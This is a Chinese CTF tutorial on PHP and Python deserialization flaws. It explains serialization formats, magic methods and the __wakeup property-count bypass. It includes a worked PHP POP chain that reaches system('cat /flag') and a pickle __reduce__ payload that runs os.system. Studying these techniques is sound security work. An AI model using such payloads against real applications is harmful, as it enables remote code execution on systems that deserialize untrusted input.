反序列化

概念 #

序列化是指将数据结构或对象状态转换为可以存储(如文件、内存缓冲区)或传输(如通过网络传输数据)的格式的过程。

在序列化过程中,对象的公共字段、私有字段和对象的类型等信息将被包含在序列化的数据中,以便在未来能够使用这些数据重建对象。反序列化反之。

比如玩单机游戏时,断点保存会将当前游戏状态(包括玩家的位置、等级、持有的物品、已完成的任务等)转换成一种可以存储到磁盘上的格式,可以理解为是序列化的过程。恢复的过程,可以理解为是反序列化的过程。

ctf web中常基于PHP/Python的序列化机制出题。

PHP反序列化 #

serialize 和 unserialize 函数 #

PHP 提供了 serializeunserialize 函数来支持这 上述2 种操作,当 unserialize 函数的参数被用户控制时可能会形成反序列化漏洞。

<?php
class a_object{
   public $id = 123;
   public $name = "abc";
   protected $age = 18;
}
$a = new a_object;
$a_ser=serialize($a);
echo $a_ser;
echo '<br>';
print_r(unserialize($a_ser));
?>

输出

// “变量类型O:类名长度(字节):类名:属性数量:{属性名类型:属性名长度:属性名:属性值类型:属性值长度:属性值内容}
O:8:"a_object":3:{s:2:"id";i:123;s:4:"name";s:3:"abc";s:6:"*age";i:18;}

Object
(
    [id] => 123
    [name] => abc
    [age:protected] => 18
)
$a = array('aa','bbb','ccc');
$a_ser = serialize($a);
echo "$a_ser";
echo '<br>';
print_r(unserialize($a_ser));

输出

// 序列化结果
// 其中 “a” 表示这是个数组,长度是3,数组的每个元素的格式形如 “i:0;s:2:"aa";”,其中 “i” 表示 整型,“s” 表示字符串
a:3:{i:0;s:2:"aa";i:1;s:3:"bbb";i:2;s:3:"ccc";}

// 反序列化结果
Array
(
    [0] => aa
    [1] => bbb
    [2] => ccc
)

注意声明为 protected 的字段序列化格式为 “%00*%00属性名”,声明为 private 的字段序列化格式为 %00类名%00属性名。

由于%00为非可打印字符,容易导致复制粘贴出错,建议直接编写php代码进行后续可能存在的base64_encodestr_replace等操作。

$a = array('aa','bbb','ccc');
$a_ser = serialize($a);
$a_ser = str_replace(":2:", ":3:", $a_ser);
$a_ser_encode = base64_encode($a_ser);

魔术方法 #

魔术方法是一种特殊的方法,以 __ 开头,当对对象执行某些操作时会覆盖 PHP 的默认操作。

  • __construct(): 构造函数,每次创建新对象时先调用此方法,非常适合在使用对象之前做一些初始化工作
  • __destruct(): 析构函数,某个对象的所有引用都被删除或者当对象被显式销毁时执行,一般脚本运行结束时会被调用
  • __sleep(): serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,提供了对序列化过程的细粒度控制,如有一些很大的对象,但不需要全部保存。 并不是类似其他语言使程序暂停执行一定时间的函数
  • __wakeup(): __wakeup() 经常用在反序列化serialize()操作中,例如重新建立数据库连接,或执行其它初始化操作。
  • __toString(): 一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

从序列化到反序列化调用的魔术方法顺序一般是:

__construct() -> __sleep() -> __wakeup() -> __destruct()

__wakeup() 函数在执行 unserialize() 时,先会调用这个函数,有时候这个函数中的代码会影响反序列化的利用。因此如果遇到 __wakeup() 函数就要先绕过,绕过方法是令对象属性个数的值大于真实个数的属性(CVE-2016-7124漏洞)。如

// :4: 比实际属性个数 :3: 大
O:8:"a_object":4:{s:3:"Id1";i:123;s:6:"*Id2";i:123;s:13:"a_objectId3";i:123;}

POP链 #

POP(Property-Oriented Programing)面向属性编程。

PHP反序列化常考查反序列化一个对象时,传入的参数可控,如何构造POP链(如调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点),达到利用特定漏洞的效果。

参看以下代码(强网杯Web真题),讲讲构造POP链,绕过魔术方法最后获取flag(system('cat /flag')在jungle类中的KS方法中)的过程:

class topsolo{
   protected $name;

   public function __construct($name = 'Riven'){
       $this->name = $name;
  }

   public function TP(){
       if (gettype($this->name) === "function" or gettype($this->name) === "object"){
           $name = $this->name;
           $name();
      }
  }

   public function __destruct(){
       $this->TP();
  }

}

class midsolo{
   protected $name;

   public function __construct($name){
       $this->name = $name;
  }

   public function __wakeup(){
       if ($this->name !== 'Yasuo'){
           $this->name = 'Yasuo';
           echo "No Yasuo! No Soul!\n";
      }
  }

   public function __invoke(){
       $this->Gank();
  }

   public function Gank(){
       if (stristr($this->name, 'Yasuo')){
           echo "Are you orphan?\n";
      }
       else{
           echo "Must Be Yasuo!\n";
      }
  }
}

class jungle{
   protected $name = "";

   public function __construct($name = "Lee Sin"){
       $this->name = $name;
  }

   public function KS(){
       system("cat /flag");
  }

   public function __toString(){
       $this->KS();  
       return "";  
  }
}
?>

阅读全篇的代码,能够发现以下关联关系:

  • topsolo中的TP() $name(); 可以与midsolo__invoke()关联
  • midsolo中的Gank() stristr可以与jungle__toString()关联

所以整个POP链构造如下,同时需要绕过midsolo__wakeup

topsolo -> __destruct() -> TP() -> $name() -> midsolo -> __invoke() -> Gank() -> stristr() -> jungle -> __toString -> KS() -> syttem('cat /flag')

对应php代码即:

$jun = new jungle();
$mid = new midsolo($jun);
$top = new topsolo($mid);


// $ser = serialize($top);
// 绕过`midsolo`的`__wakeup`
// $ser = str_replace( '"midsolo":1:', '"midsolo":2:', $ser); 

// $filename = "example.ser";
// $file = fopen($filename, "w");
// fwrite($file, $ser);
// fclose($file);

$filename = "example.ser";
$file = fopen($filename, "r");
$fileSize = filesize($filename);
$ser = fread($file, $fileSize);
fclose($file);
unserialize($ser);

Python反序列化 #

Python 中最常用的序列化模块是 pickle 模块。

pickle 模块 #

import pickle

class test:
    def __init__(self):
        self.people = 'lituer'
a = test()
serialized = pickle.dumps(a)
print(serialized)

unserialized = pickle.loads(serialized)
print(unserialized.people)

输出

b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00peopleq\x03X\x06\x00\x00\x00lituerq\x04sb.'

lituer

当然和php一样也可以序列化字符串,数组,字典,类。

__reduce__这个魔术方法类似php的__wakeup,用于在反序列化时返回用户重新构建object所需要的信息。

Python 要求该方法返回一个元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1、para2

同时__reduct__方法本身的实现及使用到的相关数据会在序列化时保存。

想较于php的__wakeup是目标环境写死的,我们可以控制和修改__reduce__的实现,即可实现任意代码执行。

import pickle
import os

class test:
    def __init__(self, people):
        self.people = 'lituer'
    def __reduce__(self):
        return (os.system, ("pwd",))
    
a = test()
serialized = pickle.dumps(a)
print(serialized)

unserialized = pickle.loads(serialized)
print(unserialized)
print(unserialized.people)

输出

b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x03pwd\x94\x85\x94R\x94.'
/Users/zqq/Desktop
0
Traceback (most recent call last):
  File "/Users/zqq/Desktop/1.py", line 16, in <module>
    print(unserialized.people)
AttributeError: 'int' object has no attribute 'people'

留意这里的报错,AttributeError: 'int' object has no attribute 'people'

因为os.system返回的是执行命令的状态码,所以unserialized为int类型;如果改为

def __reduce__(self):
    return (self.__class__, (self.people, ))

unserialized<__main__.test object at 0x7f89c81313d0>